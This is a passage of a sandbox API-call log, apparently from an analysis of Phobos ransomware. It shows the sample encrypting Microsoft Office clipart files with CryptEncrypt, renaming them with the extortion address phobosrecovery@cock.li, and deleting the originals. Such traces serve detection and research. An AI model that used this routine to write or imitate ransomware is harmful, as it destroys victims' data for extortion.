files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0061.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.782] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.782] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.783] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0061.783] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.783] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x108c, lpOverlapped=0x0) returned 1 [0061.801] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1090, dwBufLen=0x1090 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1090) returned 1 [0061.801] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1090, lpOverlapped=0x0) returned 1 [0061.802] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0f0) returned 1 [0061.802] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.802] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.802] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0061.802] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.802] CryptDestroyKey (hKey=0x10caf0) returned 1 [0061.802] CloseHandle (hObject=0x308) returned 1 [0061.802] CloseHandle (hObject=0x318) returned 1 [0061.803] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0061.804] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.806] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3564) returned 1 [0061.806] CloseHandle (hObject=0x318) returned 1 [0061.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0061.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.806] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.806] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.807] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0061.807] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.807] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xdec, lpOverlapped=0x0) returned 1 [0061.865] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xdf0) returned 1 [0061.865] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xdf0, lpOverlapped=0x0) returned 1 [0061.866] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce70) returned 1 [0061.866] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.866] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.866] CryptDestroyKey (hKey=0x10ce70) returned 1 [0061.867] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.867] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0061.867] CloseHandle (hObject=0x318) returned 1 [0061.867] CloseHandle (hObject=0x308) returned 1 [0061.868] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0061.869] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.869] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2422) returned 1 [0061.869] CloseHandle (hObject=0x308) returned 1 [0061.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0061.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.869] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.869] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.870] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0061.870] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.870] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x976, lpOverlapped=0x0) returned 1 [0062.060] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x980, dwBufLen=0x980 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x980) returned 1 [0062.060] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x980, lpOverlapped=0x0) returned 1 [0062.061] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1b0) returned 1 [0062.061] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.061] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0062.061] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0062.061] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0062.061] CryptDestroyKey (hKey=0x10caf0) returned 1 [0062.061] CloseHandle (hObject=0x308) returned 1 [0062.061] CloseHandle (hObject=0x318) returned 1 [0062.062] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0062.063] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0062.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.064] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2262) returned 1 [0062.064] CloseHandle (hObject=0x318) returned 1 [0062.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0062.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.065] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.065] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.066] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0062.066] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.066] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x8d6, lpOverlapped=0x0) returned 1 [0062.211] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x8e0) returned 1 [0062.212] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x8e0, lpOverlapped=0x0) returned 1 [0062.212] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d070) returned 1 [0062.212] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.213] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0062.213] CryptDestroyKey (hKey=0x10d070) returned 1 [0062.213] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0062.213] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0062.213] CloseHandle (hObject=0x318) returned 1 [0062.213] CloseHandle (hObject=0x308) returned 1 [0062.214] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0062.215] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0062.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.215] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=49546) returned 1 [0062.215] CloseHandle (hObject=0x308) returned 1 [0062.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0062.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.216] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.216] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.216] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cc30) returned 1 [0062.216] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.216] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xc18a, lpOverlapped=0x0) returned 1 [0062.294] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc190, dwBufLen=0xc190 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xc190) returned 1 [0062.294] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xc190, lpOverlapped=0x0) returned 1 [0062.295] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce70) returned 1 [0062.296] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.296] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0062.296] CryptDestroyKey (hKey=0x10ce70) returned 1 [0062.296] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0062.296] CryptDestroyKey (hKey=0x10cc30) returned 1 [0062.296] CloseHandle (hObject=0x308) returned 1 [0062.296] CloseHandle (hObject=0x318) returned 1 [0062.298] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0062.299] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0062.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.299] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2966) returned 1 [0062.299] CloseHandle (hObject=0x318) returned 1 [0062.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0062.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.300] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.300] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0062.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.300] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbf0) returned 1 [0062.300] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xb96, lpOverlapped=0x0) returned 1 [0062.381] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xba0, dwBufLen=0xba0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xba0) returned 1 [0062.381] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, 